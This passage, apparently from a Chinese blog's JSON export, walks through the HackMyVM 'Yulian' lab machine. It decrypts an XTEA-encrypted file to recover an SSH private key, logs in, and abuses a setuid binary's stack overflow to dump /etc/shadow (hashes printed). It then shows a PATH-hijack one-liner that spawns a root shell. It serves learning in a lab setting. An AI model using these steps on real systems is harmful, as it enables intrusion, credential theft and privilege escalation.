\/\/ [rsp+20h] [rbp-10h]\n  unsigned int v4; \/\/ [rsp+24h] [rbp-Ch]\n  unsigned int v5; \/\/ [rsp+28h] [rbp-8h]\n  unsigned int v6; \/\/ [rsp+2Ch] [rbp-4h]\n\n  v6 = *a1;\n  v5 = a1[1];\n  v4 = 0;\n  for ( i = 0; i &lt;= 63; ++i )\n  {\n    v6 += (((v5 &gt;&gt; 5) ^ (16 * v5)) + v5) ^ (*(_DWORD *)(4LL * (v4 &amp; 3) + a2) + v4);\n    v4 -= 1640531527;\n    v5 += (((v6 &gt;&gt; 5) ^ (16 * v6)) + v6) ^ (*(_DWORD *)(4LL * ((v4 &gt;&gt; 11) &amp; 3) + a2) + v4);\n  }\n  *a1 = v6;\n  a1[1] = v5;\n  return v5;\n}<\/code><\/pre>\n<p>\u8fd9\u4e2a\u7a0b\u5e8f\u5728\u4f7f\u7528v6\u8fdb\u884c\u52a0\u5bc6\u6587\u4ef6\uff0c\u5c1d\u8bd5\u8ffd\u8e2a\u8fdb\u884c\u89e3\u5bc6\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\">int *__fastcall key_from_fixed_string(__int64 a1)\n{\n  int *result; \/\/ rax\n  int i; \/\/ [rsp+14h] [rbp-4h]\n\n  for ( i = 0; i &lt;= 3; ++i )\n  {\n    result = (int *)(4LL * i + a1);\n    *result = (FIXED_KEY_STR[4 * i + 2] &lt;&lt; 16)\n            | (FIXED_KEY_STR[4 * i + 1] &lt;&lt; 8)\n            | FIXED_KEY_STR[4 * i]\n            | (FIXED_KEY_STR[4 * i + 3] &lt;&lt; 24);\n  }\n  return result;\n}<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img20260118185730212.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img20260118185730212.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260118154524906\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u6ce8\u610f\u5230\u4e4b\u524d\u770b\u5230\u8fc7\u4e00\u4e2a\u52a0\u5bc6\u6587\u4ef6\uff0c\u540d\u4e3a<code>output.enc<\/code>\uff0c\u4f46\u53ef\u60dc\u5927\u5c0f\u4e3a0\uff0c\u5c1d\u8bd5\u627e\u4e00\u4e0b\u770b\u770b\u6709\u6ca1\u6709\u5176\u4ed6\u52a0\u5bc6\u6587\u4ef6\uff1a<\/p>\n<pre><code class=\"language-bash\">6ab28be27b0c:\/usr\/bin# find \/ -name &quot;*.enc&quot; -type f 2&gt;\/dev\/null\n\/etc\/output.enc\n\/usr\/bin\/output.enc\n6ab28be27b0c:\/usr\/bin# ls -la \/etc\/output.enc\n-rw-r--r--    1 root     root           400 Jun 24  2025 \/etc\/output.enc<\/code><\/pre>\n<p>\u5c1d\u8bd5\u4e0b\u8f7d\u4e0b\u6765\u8fdb\u884c\u89e3\u5bc6\uff01\u4ea4\u7ed9\u4e07\u80fd\u7684AI\u59ec\u5427\uff01\u597d\u5427\uff0c\u6211\u7684AI\u59ec\u8fd8\u6ca1\u6709\u8c03\u6559\u597d\uff0c\u76f4\u63a5\u4f7f\u7528<code>pepster<\/code>blog\u4e2d\u7684\u73b0\u6210\u811a\u672c\u4e86\uff0c\u611f\u8c22\uff08\u9634\u6697\u7248\uff09<\/p>\n<pre><code class=\"language-c\">#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;string.h&gt; \/\/ \u7528\u4e8e memcpy \u548c memset\n\n\/\/ XTEA \u5e38\u91cf\n#define XTEA_DELTA 0x9E3779B9UL \/\/ \u65e0\u7b26\u53f7\u957f\u6574\u578b\uff0c\u786e\u4fdd32\u4f4d\u64cd\u4f5c\n#define NUM_ROUNDS 64           \/\/ XTEA \u7684\u8f6e\u6570\n\n\/\/ \u6ce8\u610f\uff1a\u53ea\u6709\u524d16\u4e2a\u5b57\u8282\u4f1a\u88ab\u7528\u4f5cXTEA\u5bc6\u94a5\nconst char FIXED_KEY_STR[] = &quot;key-for-user-ldzid_ed25519&quot;;\n\n\/\/ \u52a0\u5bc6\u540e\u7684\u8f93\u5165\u6587\u4ef6\u548c\u89e3\u5bc6\u540e\u7684\u8f93\u51fa\u6587\u4ef6\u5b8f\u5b9a\u4e49\n#define INPUT_ENCRYPTED_FILE &quot;output.enc&quot;       \/\/ \u8fd9\u662f\u4f60\u5df2\u6709\u7684\u52a0\u5bc6\u6587\u4ef6\n#define OUTPUT_DECRYPTED_FILE &quot;decrypted.bin&quot; \/\/ \u8fd9\u5c06\u662f\u4f60\u7684\u89e3\u5bc6\u540e\u7684\u660e\u6587\u6587\u4ef6\n\n\/\/ \u6839\u636e FIXED_KEY_STR \u751f\u6210 XTEA \u5bc6\u94a5\u7684\u51fd\u6570\n\/\/ \u8fd9\u662f\u5bf9 key_from_fixed_string \u4f2a\u4ee3\u7801\u7684\u76f4\u63a5C\u8bed\u8a00\u5b9e\u73b0\nvoid key_from_fixed_string(unsigned int *key_buffer) {\n    for (int i = 0; i &lt;= 3; ++i) {\n        key_buffer[i] = ((unsigned char)FIXED_KEY_STR[4 * i + 3] &lt;&lt; 24) |\n                        ((unsigned char)FIXED_KEY_STR[4 * i + 2] &lt;&lt; 16) |\n                        ((unsigned char)FIXED_KEY_STR[4 * i + 1] &lt;&lt; 8) |\n                        ((unsigned char)FIXED_KEY_STR[4 * i]);\n    }\n}\n\n\/\/ XTEA \u89e3\u5bc6\u51fd\u6570\uff08XTEA \u52a0\u5bc6\u7b97\u6cd5\u7684\u9006\u64cd\u4f5c\uff09\n\/\/ data_block: \u6307\u54118\u5b57\u8282\u6570\u636e\u5757\u7684\u6307\u9488 (v0, v1)\uff0c\u6570\u636e\u5c06\u88ab\u539f\u5730\u89e3\u5bc6\n\/\/ key: \u6307\u541116\u5b57\u8282\u5bc6\u94a5\u7684\u6307\u9488 (k[0] \u5230 k[3])\nvoid xtea_decrypt(unsigned int *data_block, unsigned int *key) {\n    unsigned int v0 = data_block[0];\n    unsigned int v1 = data_block[1];\n\n    \/\/ sum \u5fc5\u987b\u4ece\u52a0\u5bc6\u7ed3\u675f\u65f6\u7684\u503c\u5f00\u59cb\n    \/\/ \u52a0\u5bc6\u8fc7\u7a0b\uff1asum = 0, \u7136\u540e sum \u7d2f\u52a0 DELTA 64\u6b21\n    \/\/ \u6240\u4ee5\uff0c\u6700\u7ec8\u7684 sum = 64 * DELTA\n    unsigned int sum = XTEA_DELTA * NUM_ROUNDS;\n\n    for (int i = 0; i &lt; NUM_ROUNDS; ++i) {\n        \/\/ 1. \u9006\u5411\u7b2c\u4e8c\u8f6e\u64cd\u4f5c\uff08\u66f4\u65b0 v1\uff09\n        v1 -= (((v0 &lt;&lt; 4) ^ (v0 &gt;&gt; 5)) + v0) ^ (sum + key[(sum &gt;&gt; 11) &amp; 3]);\n\n        \/\/ 2. \u9006\u5411 sum \u7684\u53d8\u5316\n        sum -= XTEA_DELTA;\n\n        \/\/ 3. \u9006\u5411\u7b2c\u4e00\u8f6e\u64cd\u4f5c\uff08\u66f4\u65b0 v0\uff09\n        v0 -= (((v1 &lt;&lt; 4) ^ (v1 &gt;&gt; 5)) + v1) ^ (sum + key[sum &amp; 3]);\n    }\n\n    data_block[0] = v0;\n    data_block[1] = v1;\n}\n\n\/\/ --- \u6587\u4ef6\u89e3\u5bc6\u8fc7\u7a0b ---\nint decrypt_file() {\n    FILE *fp_in = NULL;\n    FILE *fp_out = NULL;\n    unsigned int xtea_key[4]; \/\/ 4 * 32\u4f4d = 128\u4f4d\u5bc6\u94a5\n    unsigned char block[8];   \/\/ 8\u5b57\u8282\u6570\u636e\u5757\n    size_t bytes_read;\n    long decrypted_bytes_count = 0; \/\/ \u8bb0\u5f55\u5df2\u5199\u5165\u8f93\u51fa\u7684\u5b57\u8282\u6570\n    long encrypted_file_size; \/\/ \u7528\u4e8e\u5224\u65ad\u662f\u5426\u662f\u6700\u540e\u4e00\u4e2a\u5757\n\n    \/\/ 1. \u6253\u5f00\u6587\u4ef6\n    fp_in = fopen(INPUT_ENCRYPTED_FILE, &quot;rb&quot;);       \/\/ \u52a0\u5bc6\u540e\u7684\u6587\u4ef6\n    fp_out = fopen(OUTPUT_DECRYPTED_FILE, &quot;wb&quot;); \/\/ \u89e3\u5bc6\u540e\u7684\u6587\u4ef6\n\n    if (!fp_in || !fp_out) {\n        perror(&quot;\u6253\u5f00\u6587\u4ef6\u65f6\u51fa\u9519&quot;);\n        \/\/ \u5982\u679c\u6587\u4ef6\u6253\u5f00\u5931\u8d25\uff0c\u6253\u5370\u9519\u8bef\u4fe1\u606f\u5e76\u5173\u95ed\u5df2\u6253\u5f00\u7684\u6587\u4ef6\n        if (fp_in) fclose(fp_in);\n        if (fp_out) fclose(fp_out);\n        return 1;\n    }\n\n    \/\/ 2. \u751f\u6210\u5bc6\u94a5\n    key_from_fixed_string(xtea_key);\n    printf(&quot;\u4f7f\u7528\u7684 XTEA \u5bc6\u94a5: 0x%08X 0x%08X 0x%08X 0x%08X\\n&quot;,\n           xtea_key[0], xtea_key[1], xtea_key[2], xtea_key[3]);\n\n    printf(&quot;\u6b63\u5728\u5c06 &#039;%s&#039; \u89e3\u5bc6\u5230 &#039;%s&#039;...\\n&quot;, INPUT_ENCRYPTED_FILE, OUTPUT_DECRYPTED_FILE);\n\n    \/\/ \u83b7\u53d6\u52a0\u5bc6\u6587\u4ef6\u603b\u5927\u5c0f\uff0c\u4ee5\u4fbf\u5224\u65ad\u662f\u5426\u662f\u6700\u540e\u4e00\u4e2a\u5757\n    fseek(fp_in, 0, SEEK_END);          \/\/ \u79fb\u52a8\u6587\u4ef6\u6307\u9488\u5230\u6587\u4ef6\u672b\u5c3e\n    encrypted_file_size = ftell(fp_in); \/\/ \u83b7\u53d6\u5f53\u524d\u6587\u4ef6\u6307\u9488\u4f4d\u7f6e\uff08\u5373\u6587\u4ef6\u5927\u5c0f\uff09\n    fseek(fp_in, 0, SEEK_SET);          \/\/ \u79fb\u52a8\u6587\u4ef6\u6307\u9488\u56de\u6587\u4ef6\u5f00\u5934\n\n    \/\/ 3. \u9010\u5757\u89e3\u5bc6\u6587\u4ef6\n    while ((bytes_read = fread(block, 1, 8, fp_in)) &gt; 0) {\n        \/\/ \u5982\u679c\u8bfb\u53d6\u7684\u5b57\u8282\u6570\u5c0f\u4e8e8\uff0c\u8bf4\u660e\u52a0\u5bc6\u6587\u4ef6\u672c\u8eab\u6709\u95ee\u9898\uff08\u672a\u63098\u5b57\u8282\u5757\u5bf9\u9f50\uff09\n        if (bytes_read &lt; 8) {\n            fprintf(stderr, &quot;\u9519\u8bef\uff1a\u52a0\u5bc6\u6587\u4ef6\u4e0d\u662f8\u5b57\u8282\u7684\u500d\u6570\u6216\u5df2\u622a\u65ad\u3002\\n&quot;);\n            break; \/\/ \u505c\u6b62\u89e3\u5bc6\n        }\n\n        \/\/ \u89e3\u5bc68\u5b57\u8282\u6570\u636e\u5757\n        \/\/ \u5c06 block \u5f3a\u5236\u8f6c\u6362\u4e3a unsigned int*\uff0cXTEA \u51fd\u6570\u671f\u671b32\u4f4d\u6574\u6570\u6570\u7ec4\n        xtea_decrypt((unsigned int *)block, xtea_key);\n\n        \/\/ --- \u586b\u5145\u53bb\u9664 ---\n\n        size_t bytes_to_write = 8; \/\/ \u9ed8\u8ba4\u5199\u51658\u5b57\u8282\n\n        \/\/ \u68c0\u67e5\u8fd9\u662f\u5426\u662f\u52a0\u5bc6\u6587\u4ef6\u7684\u6700\u540e\u4e00\u4e2a\u5757\n        \/\/ ftell(fp_in) \u8fd4\u56de\u5f53\u524d\u6587\u4ef6\u6307\u9488\u4f4d\u7f6e\uff0c\u5982\u679c\u5b83\u7b49\u4e8e encrypted_file_size\uff0c\u5219\u8868\u793a\u5df2\u7ecf\u8bfb\u53d6\u5230\u6587\u4ef6\u672b\u5c3e\n        if (ftell(fp_in) == encrypted_file_size) {\n            size_t actual_data_len_in_last_block = 8;\n            for (int i = 7; i &gt;= 0; --i) {\n                if (block[i] == 0x00) {\n                    actual_data_len_in_last_block--;\n                } else {\n                    break; \/\/ \u627e\u5230\u975e\u96f6\u5b57\u8282\uff0c\u8fd9\u662f\u539f\u59cb\u6570\u636e\u7684\u7ed3\u5c3e\n                }\n            }\n            bytes_to_write = actual_data_len_in_last_block;\n        }\n\n        \/\/ \u5c06\u89e3\u5bc6\u540e\u7684\u6570\u636e\u5199\u5165\u8f93\u51fa\u6587\u4ef6\n        fwrite(block, 1, bytes_to_write, fp_out);\n        decrypted_bytes_count += bytes_to_write;\n    }\n\n    printf(&quot;\u89e3\u5bc6\u5b8c\u6210\u3002\\n&quot;);\n    printf(&quot;\u5171\u5199\u5165\u89e3\u5bc6\u5b57\u8282\u6570: %ld\\n&quot;, decrypted_bytes_count);\n\n    fclose(fp_in);\n    fclose(fp_out);\n    return 0;\n}\n\nint main() {\n    \/\/ \u8fd0\u884c\u89e3\u5bc6\u8fc7\u7a0b\n    \/\/ \u786e\u4fdd\u4f60\u7684 &quot;output.enc&quot; \u6587\u4ef6\u5df2\u5b58\u5728\u4e8e\u7a0b\u5e8f\u8fd0\u884c\u7684\u76ee\u5f55\u4e0b\n    if (decrypt_file() != 0) {\n        return 1;\n    }\n\n    printf(&quot;\\n\u89e3\u5bc6\u540e\u7684\u6587\u4ef6\u5df2\u4fdd\u5b58\u4e3a &#039;%s&#039;\\n&quot;, OUTPUT_DECRYPTED_FILE);\n    \/\/ \u4f60\u53ef\u4ee5\u624b\u52a8\u68c0\u67e5 &#039;decrypted.bin&#039; \u6587\u4ef6\u5185\u5bb9\u3002\n    \/\/ \u5982\u679c\u539f\u59cb\u6587\u4ef6\u4e0d\u662f\u4ee50\u7ed3\u5c3e\uff0c\u5e76\u4e14\u662f\u7b80\u5355\u7684\u96f6\u586b\u5145\uff0c\u90a3\u4e48\u8fd9\u4e2a\u89e3\u5bc6\u5e94\u8be5\u80fd\u6b63\u5e38\u5de5\u4f5c\u3002\n\n    return 0;\n}<\/code><\/pre>\n<p>\u4f20\u8bf4\u4e2d\u7684\u524d\u4eba\u683d\u6811\u540e\u4eba\u4e58\u51c9\uff0c\u54c8\u54c8\u54c8\uff1a<\/p>\n<pre><code class=\"language-bash\">pwn@ubuntu:~\/temp\/yulian$ vim xtea.c\npwn@ubuntu:~\/temp\/yulian$ gcc xtea.c -o xtea\nxtea.c: In function \u2018xtea_decrypt\u2019:\nxtea.c:6:20: warning: conversion from \u2018long unsigned int\u2019 to \u2018unsigned int\u2019 changes value from \u2018169883889216\u2019 to \u20182380164672\u2019 [-Woverflow]\n    6 | #define XTEA_DELTA 0x9E3779B9UL \/\/ \u65e0\u7b26\u53f7\u957f\u6574\u578b\uff0c\u786e\u4fdd32\u4f4d\u64cd\u4f5c\n      |                    ^~~~~~~~~~~~\nxtea.c:37:24: note: in expansion of macro \u2018XTEA_DELTA\u2019\n   37 |     unsigned int sum = XTEA_DELTA * NUM_ROUNDS;\n      |                        ^~~~~~~~~~\npwn@ubuntu:~\/temp\/yulian$ .\/xtea\n\u4f7f\u7528\u7684 XTEA \u5bc6\u94a5: 0x2D79656B 0x2D726F66 0x72657375 0x7A646C2D\n\u6b63\u5728\u5c06 &#039;output.enc&#039; \u89e3\u5bc6\u5230 &#039;decrypted.bin&#039;...\n\u89e3\u5bc6\u5b8c\u6210\u3002\n\u5171\u5199\u5165\u89e3\u5bc6\u5b57\u8282\u6570: 399\n\n\u89e3\u5bc6\u540e\u7684\u6587\u4ef6\u5df2\u4fdd\u5b58\u4e3a &#039;decrypted.bin&#039;\npwn@ubuntu:~\/temp\/yulian$ cat decrypted.bin\n-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW\nQyNTUxOQAAACDG60tqgYFFVx4ClSFGSIVssmKW6ibCoViuF9E8HQayZgAAAJBa9KyZWvSs\nmQAAAAtzc2gtZWQyNTUxOQAAACDG60tqgYFFVx4ClSFGSIVssmKW6ibCoViuF9E8HQayZg\nAAAEDkh1u30NCdjW5cB2TK+hkOBod+D7EKn6vZPHcyHL\/ljMbrS2qBgUVXHgKVIUZIhWyy\nYpbqJsKhWK4X0TwdBrJmAAAADWxkekBsb2NhbGhvc3Q=\n-----END OPENSSH PRIVATE KEY-----<\/code><\/pre>\n<p>\u5c1d\u8bd5\u4f7f\u7528\u8be5\u79c1\u94a5\u8fdb\u884c\u8fde\u63a5\uff01\uff01\uff01\uff01<\/p>\n<pre><code class=\"language-bash\">pwn@ubuntu:~\/temp\/yulian$ chmod 600 decrypted.bin\npwn@ubuntu:~\/temp\/yulian$ ssh-keygen -y -f decrypted.bin\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMbrS2qBgUVXHgKVIUZIhWyyYpbqJsKhWK4X0TwdBrJm ldz@localhost\npwn@ubuntu:~\/temp\/yulian$ ssh ldz@192.168.64.4 -i decrypted.bin<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img20260118185730213.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img20260118185730213.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20260118162746379\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h3>\u6808\u6ea2\u51fa\u63d0\u53d6root\uff01\uff01\uff01\uff01<\/h3>\n<p>\u9996\u5148\u8fd8\u662f\u8981\u4fe1\u606f\u641c\u96c6\uff1a<\/p>\n<pre><code class=\"language-bash\">localhost:~$ find \/ -perm -u=s -type f 2&gt;\/dev\/null\n\/opt\/vuln\n\/bin\/bbsuid\nlocalhost:~$ file \/opt\/vuln\n\/opt\/vuln: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter \/lib\/ld-musl-x86_64.so.1, BuildID[sha1]=c87268410577b342f9216cff03ec7962d0a9a046, with debug_info, not stripped<\/code><\/pre>\n<p>\u6f14\u8c46\u4e0d\u6f14\u4e86\uff0c\u4e0b\u8f7d\u5230\u672c\u5730\u770b\u4e00\u4e0b\u5565\u60c5\u51b5\uff1a<\/p>\n<pre><code class=\"language-bash\">pwn@ubuntu:~\/temp\/yulian$ pwn checksec vuln\n[*] &#039;\/home\/pwn\/temp\/yulian\/vuln&#039;\n    Arch:       amd64-64-little\n    RELRO:      Full RELRO\n    Stack:      No canary found\n    NX:         NX unknown - GNU_STACK missing\n    PIE:        No PIE (0x400000)\n    Stack:      Executable\n    RWX:        Has RWX segments\n    Stripped:   No\n    Debuginfo:  Yes<\/code><\/pre>\n<p>\u53cd\u7f16\u8bd1\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-c\">int __fastcall main(int argc, const char **argv, const char **envp)\n{\n  setbuf(stdin, 0);\n  setbuf(stdout, 0);\n  setbuf(stderr, 0);\n  vuln();\n  return 0;\n}<\/code><\/pre>\n<pre><code class=\"language-c\">void __cdecl vuln()\n{\n  char buffer[32]; \/\/ [rsp+0h] [rbp-30h] BYREF\n  ssize_t n; \/\/ [rsp+20h] [rbp-10h]\n  int flag; \/\/ [rsp+2Ch] [rbp-4h]\n\n  flag = 0;\n  n = read(0, buffer, 0x30u);\n  if ( flag == 1 )\n  {\n    secret();\n  }\n  else\n  {\n    printf(&quot;flag = %d\\n&quot;, flag);\n    puts(&quot;password wrong&quot;);\n  }\n}<\/code><\/pre>\n<pre><code class=\"language-c\">void __cdecl secret()\n{\n  setuid(0);\n  system(&quot;cat \/etc\/shadow&quot;);\n}<\/code><\/pre>\n<p>\u6cea\u725b\u6ee1\u9762\u554a\uff0c\u7ec8\u4e8e\u9047\u5230\u4e00\u4e2a\u4f1a\u7684\u4e86\uff0c\u5c1d\u8bd5\u8fdb\u884c\u6ea2\u51fa\u8986\u76d6flag\u5373\u53ef\uff1a<\/p>\n<pre><code class=\"language-bash\">  -0000000000000030 \/\/ Use data definition commands to manipulate stack variables and arguments.\n  -0000000000000030 \/\/ Frame size: 30; Saved regs: 8; Purge: 0\n  -0000000000000030\n  -0000000000000030     char buffer[32];\n  -0000000000000010     ssize_t n;\n  -0000000000000008     \/\/ padding byte\n  -0000000000000007     \/\/ padding byte\n  -0000000000000006     \/\/ padding byte\n  -0000000000000005     \/\/ padding byte\n  -0000000000000004     int flag;\n  +0000000000000000     _QWORD __saved_registers;\n  +0000000000000008     _UNKNOWN *__return_address;\n  +0000000000000010\n  +0000000000000010 \/\/ end of stack variables<\/code><\/pre>\n<p>\u9996\u5148\u7f13\u51b2\u533a\u4e3a32\u5b57\u8282\uff0cread\u53ef\u4ee5\u8bfb\u53d648\u5b57\u8282\uff080x30u\uff09\uff0c\u8f93\u516544\u4e2a\u5b57\u8282\u5373\u53ef\u8986\u76d6flag\uff0c\u770b\u4e0b\u5427\uff1a<\/p>\n<pre><code class=\"language-bash\">[32 \u5b57\u8282 buffer]\n[8  \u5b57\u8282 n]\n[4  \u5b57\u8282 padding]\n[4  \u5b57\u8282 flag = 1]<\/code><\/pre>\n<p>\u5c1d\u8bd5\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\">localhost:~$ python3 -c &#039;print(&quot;A&quot;*44 + &quot;\\x01\\x00\\x00\\x00&quot;)&#039; | \/opt\/vuln\nroot:$6$W5FUwrTeo8vXfNot$qJazigaYSqk8ezVfjHckZb2XjxkrJsniQa5MA1o.j9apE1BMYX5vYuJVEJ2hYbNsR0q9IWOSSt1I40vNYxvKO0:20263:0:::::\nbin:!::0:::::\ndaemon:!::0:::::\nlp:!::0:::::\nsync:!::0:::::\nshutdown:!::0:::::\nhalt:!::0:::::\nmail:!::0:::::\nnews:!::0:::::\nuucp:!::0:::::\ncron:!::0:::::\nftp:!::0:::::\nsshd:!::0:::::\ngames:!::0:::::\nntp:!::0:::::\nguest:!::0:::::\nnobody:!::0:::::\nklogd:!:20205:0:99999:7:::\nchrony:!:20205:0:99999:7:::\nldz:$6$qCU7eP8wj\/Pvo1FB$Ooou6p.TF3M\/kMB29XrzQ6XVNbq7c46lGzNvRPOJ55GAXJ0h.jmbc8VHhGjFgwXLHPSbNt96l\/rmUYgDqpo8Y0:20263:0:99999:7:::\nnginx:!:20263:0:99999:7:::<\/code><\/pre>\n<p>\u5c1d\u8bd5\u8fdb\u884c\u7834\u89e3\u5373\u53ef\uff0c\u6211\u5728\u522b\u7684\u5e08\u5085\u535a\u5ba2\u4e2d\u4e5f\u53d1\u73b0\u53ef\u4ee5\u901a\u8fc7\u52ab\u6301\u547d\u4ee4\u83b7\u53d6flag\uff0c\u8fd9\u79cd\u65b9\u5f0f\u5e94\u8be5\u66f4\u4f18\u96c5\u4e00\u70b9\uff0c\u8bb0\u5f55\u4e00\u4e0b\uff0c\u7b2c\u4e00\u65f6\u95f4\u5c45\u7136\u6ca1\u6709\u60f3\u5230\uff0c\u53ef\u80fd\u662f\u5f88\u957f\u65f6\u95f4\u6ca1\u6253\u9776\u673a\u4e86\uff0c\u563f\u563f\u3002<\/p>\n<pre><code>echo &quot;\/bin\/sh &lt; \/dev\/pts\/0&quot;&gt;cat\nchmod +x cat\nPATH=\/tmp:$PATH\npython3 -c &#039;print(&quot;A&quot;*44 + &quot;\\x01\\x00\\x00\\x00&quot;)&#039; | \/opt\/vuln\n\/bin\/cat \/root\/root.txt<\/code><\/pre>\n<h2>\u53c2\u8003<\/h2>\n<ul>\n<li><a href=\"https:\/\/pepster.me\/hackmyvm-yulian-walkthrough\/\">https:\/\/pepster.me\/hackmyvm-yulian-walkthrough\/<\/a><\/li>\n<li><a href=\"https:\/\/alientec1908.github.io\/Yulian_HackMyVM_Hard\/\">https:\/\/alientec1908.github.io\/Yulian_HackMyVM_Hard\/<\/a><\/li>\n<li><a href=\"https:\/\/7r1umphk.github.io\/post\/nei-bu-_yulian.html\">https:\/\/7r1umphk.github.io\/post\/nei-bu-_yulian.html<\/a><\/li>\n<li><a href=\"https:\/\/www.bilibili.com\/video\/BV1Lm3Fz6E6W\/\">https:\/\/www.bilibili.com\/video\/BV1Lm3Fz6E6W\/<\/a><\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>yulian \u7b2c\u4e00\u6b21\u4f7f\u7528mac\u6253\u9776\u673a\uff0c\u633a\u597d\u73a9\u7684\uff0c\u914d\u7f6e\u9776\u673a\u53ef\u4ee5\u53c2\u8003todd\u7684\u8fdc\u53e4\u89c6\u9891\uff0c\u5f88\u597d\u7528\u3002 \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,20,19,18],"tags":[],"class_list":["post-932","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-crypto","category-pwn","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/932","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=932"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/932\/revisions"}],"predecessor-version":[{"id":933,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/932\/revisions\/933"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=932"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=932"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=932"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}